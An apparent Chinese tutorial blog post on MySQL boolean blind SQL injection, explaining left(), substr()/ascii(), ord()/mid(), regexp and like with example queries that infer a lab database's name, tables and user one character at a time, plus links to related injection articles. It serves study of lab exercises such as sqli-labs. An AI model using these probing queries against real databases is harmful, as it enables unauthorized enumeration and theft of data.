一、left()

首先需要 use security;  这个数据库,然后进入之后再使用查询语句:

此时再使用:

select left(database(),1)='s';   #该语句表示database()显示数据库名称后,left(a,b)从左侧截取a的前b位,若为s则显示1,若大于或小于s则显示0

即可成功查询

二、substr()与ascii()

ascii(substr(a,b,c));是指从a的b位开始截取c长度,在注入中,c一般均为1;而ascii()则表示将某个字符转换为ascii值

select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;

这句话的意思是:从所有库中查询出当前库——>database()——>security,再从security表中limit 0,1 即为第一个表,取该表的第一位,即 substr(a,b,c)第一位的第一个字符,查看其ascii值是否为101,是的话显示 1,不是显示0。

这样的用法不仅可用于查询表名,还可以用于查询库名:

select ascii(substr((select database()),1,1))=115;

意为查询当前数据库中的第一位是否为‘s’;

三、ord()与mid()

对当前数据库——security中第一个表emails取第一位,大于98返回1,大于101返回0,等于101返回1,即为101:

 select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;

mid(a,b,c)从位置b开始,截取a字符串的c位

ord()函数与ascii()函数类似,将字符转为ascii值

四、regexp正则

数据库执行user(),结果为:

正则可匹配当前的用户名是否为:root,是则返回1,不是则返回0:

select user() regexp '^ro';

五、一些实例正则使用:

(1)使用user()作为基底来做判断——>当前用户是否为root@locaihost,是则查出id为1的用户的账号密码,不是则返回0,由于是使用and进行连接,故查询的结果为空。

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

(2) 下面的语句是(1)的简化,一样的使用1的返回值来判断查询语句是否可以执行成功:

select * from users where id=1 and 1=(user() regexp'^r');

(3)查询在security库中是否存在us开头的表名:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

六、like

'%a'     //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据

使用like做匹配注入:存在返回 1,不存在返回 0,%作为一个模糊匹配

mysql内一些可以布尔盲注的查询语句的更多相关文章

  1. mysql内一些可以报错注入的查询语句

        一.exp() 取反参数 该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0 这样既可配合使用,e ...

  2. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  3. 大哥带我走渗透ii--时间盲注,布尔盲注

    5/27 基于布尔的盲注 我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的 ...

  4. sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

    写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...

  5. SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)

    开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...

  6. WEB新手之布尔盲注

    开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...

  7. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  8. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  9. python dvwa布尔盲注自动化脚本(level=low)

    仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...

随机推荐

  1. JavaScript_继承

  2. 在Blazor Server 项目中使用 EF Core Sqlite

    按照教程创建了一个 Blazor Server 项目 教程地址: https://docs.microsoft.com/zh-cn/aspnet/core/tutorials/build-a-blaz ...

  3. Bing壁纸-20200417

  4. console.dir()可以显示一个对象所有的属性和方法

    console.dir()可以显示一个对象所有的属性和方法 具体方法如下:

  5. Immutable.js 实现原理

    Immutable.js 实现原理 Immutable collections for JavaScript v4.0.0-rc.12 released on Oct 31, 2018 https:/ ...

  6. javascript disable scroll event

    javascript disable scroll event Document: scroll event https://developer.mozilla.org/en-US/docs/Web/ ...

  7. input change only trigger once bug

    input change only trigger once bug clear first https://stackoverflow.com/a/11280934/5934465 upload E ...

  8. 心之所向·智慧绽放丨NGK区块链赋能实体经济论坛圆满落幕

    据外媒报导,近日,由NGK主办的"NGK区块链赋能实体经济论坛"于英国伦敦的威斯敏斯特中央大厅圆满落幕.大会现场到来了NGK北美市场领导人.区块链行业的专业人士.NGK英国社区代表 ...

  9. 使用hive增量更新

    目录 1.增量更新 2.对第一种情况 2.1.准备工作 2.2.更新数据 3.对第二种情况 3.1.准备工作 3.2.方法1 3.3.方法2 参考文末文章,加上自己的理解. 1.增量更新 有一个 ba ...

  10. 1086 Tree Traversals Again——PAT甲级真题

    1086 Tree Traversals Again An inorder binary tree traversal can be implemented in a non-recursive wa ...